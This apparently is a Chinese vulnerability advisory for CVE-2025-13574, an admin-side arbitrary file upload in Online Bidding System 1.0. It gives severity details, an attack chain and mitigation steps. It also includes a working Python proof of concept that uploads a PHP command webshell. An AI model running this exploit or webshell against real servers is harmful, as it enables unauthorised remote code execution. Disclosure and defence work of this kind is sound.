IPBUF安全漏洞报告
English
CVE-2025-13574 CVSS 4.7 中危

CVE-2025-13574 | Online Bidding System 1.0 任意文件上传漏洞

披露日期: 2025-11-24

漏洞信息

漏洞编号
CVE-2025-13574
漏洞类型
任意文件上传
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
code-projects Online Bidding System 1.0

相关标签

任意文件上传CVE-2025-13574Online Bidding Systemcode-projectswebshell远程代码执行PHPWeb安全漏洞

漏洞概述

CVE-2025-13574是code-projects Online Bidding System 1.0版本中的一个高危安全漏洞。该漏洞存在于管理员后台的分类添加功能中,具体位于/administrator/addcategory.php文件的categoryadd函数。由于程序对用户上传的文件缺乏严格的类型验证和内容检查,攻击者可以通过构造恶意的catimage参数,上传任意类型的文件到服务器。漏洞的CVSS评分为4.7,属于中等严重程度,但攻击复杂度较低且可以利用公开的POC进行利用,因此实际威胁较高。攻击者成功利用此漏洞可以上传webshell文件,从而实现远程代码执行,完全控制目标服务器。该漏洞影响系统的机密性、完整性和可用性,可能导致用户数据泄露、系统被篡改以及服务中断等严重后果。建议受影响的用户尽快采取修复措施或临时缓解方案。

技术细节

该漏洞的根本原因在于Online Bidding System 1.0的/administrator/addcategory.php文件中,categoryadd函数在处理catimage参数时未进行充分的文件类型验证和内容安全检查。攻击者可以利用管理员权限(PR:H)访问该功能模块,通过修改HTTP请求中的catimage参数,绕过客户端的文件类型限制,上传包含恶意代码的文件(如.php webshell)。由于服务器端未对上传文件的扩展名和MIME类型进行严格校验,攻击者可以将webshell文件保存到服务器可执行目录。一旦文件上传成功,攻击者可以通过访问该文件在服务器上执行任意系统命令,实现远程代码执行。攻击向量为网络(AV:N),无需用户交互(UI:N),具有较高的可利用性。漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L,表明攻击者需要高级权限才能利用此漏洞。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标系统使用的Online Bidding System 1.0版本,并定位到管理员后台的分类添加功能入口
STEP 2
Authentication
攻击者获取管理员级别权限(PR:H),登录到系统管理后台
STEP 3
Payload Preparation
攻击者构造包含恶意PHP代码的文件(如webshell),用于后续的文件上传攻击
STEP 4
Exploitation
攻击者通过HTTP POST请求向/administrator/addcategory.php的catimage参数上传恶意文件,绕过文件类型检查
STEP 5
Shell Access
成功上传后,攻击者访问上传的webshell文件,通过cmd参数在服务器上执行任意系统命令
STEP 6
Persistence
攻击者建立持久化访问权限,可能植入后门、窃取数据或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13574 PoC - Online Bidding System 1.0 Unrestricted File Upload # Target: /administrator/addcategory.php # Vulnerability: catimage parameter allows arbitrary file upload def exploit(target_url, admin_path='/administrator/addcategory.php'): """ Exploit for CVE-2025-13574 Upload a PHP webshell via the vulnerable catimage parameter """ # PHP webshell payload webshell = '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' # Prepare multipart form data files = { 'catimage': ('shell.php', webshell, 'application/x-php') } # Additional required fields (may vary based on application) data = { 'categoryadd': '1', # Trigger the categoryadd function 'catname': 'TestCategory' # Category name parameter } try: # Send the malicious upload request response = requests.post(target_url + admin_path, files=files, data=data, timeout=10) if response.status_code == 200: print('[+] File upload request sent successfully') print('[+] Check if shell was uploaded to the uploads directory') print('[+] Access shell at: ' + target_url + '/uploads/shell.php?cmd=whoami') else: print('[-] Upload failed with status code:', response.status_code) except requests.exceptions.RequestException as e: print('[-] Error:', str(e)) if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve_2025_13574.py <target_url>') print('Example: python cve_2025_13574.py http://target.com') sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target)

影响范围

code-projects Online Bidding System 1.0

防御指南

临时缓解措施
在官方修复补丁发布之前,可采取以下临时缓解措施:1)限制管理员后台访问权限,确保只有授权用户能访问addcategory.php功能;2)在Web服务器配置中禁用上传目录的脚本执行权限(如在Apache中使用<FilesMatch>或Nginx中配置location限制);3)部署Web应用防火墙(WAF)规则,拦截异常的文件上传请求;4)定期检查上传目录,及时发现和清除可疑文件;5)启用详细的访问日志和文件上传日志,便于安全监控和事件溯源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表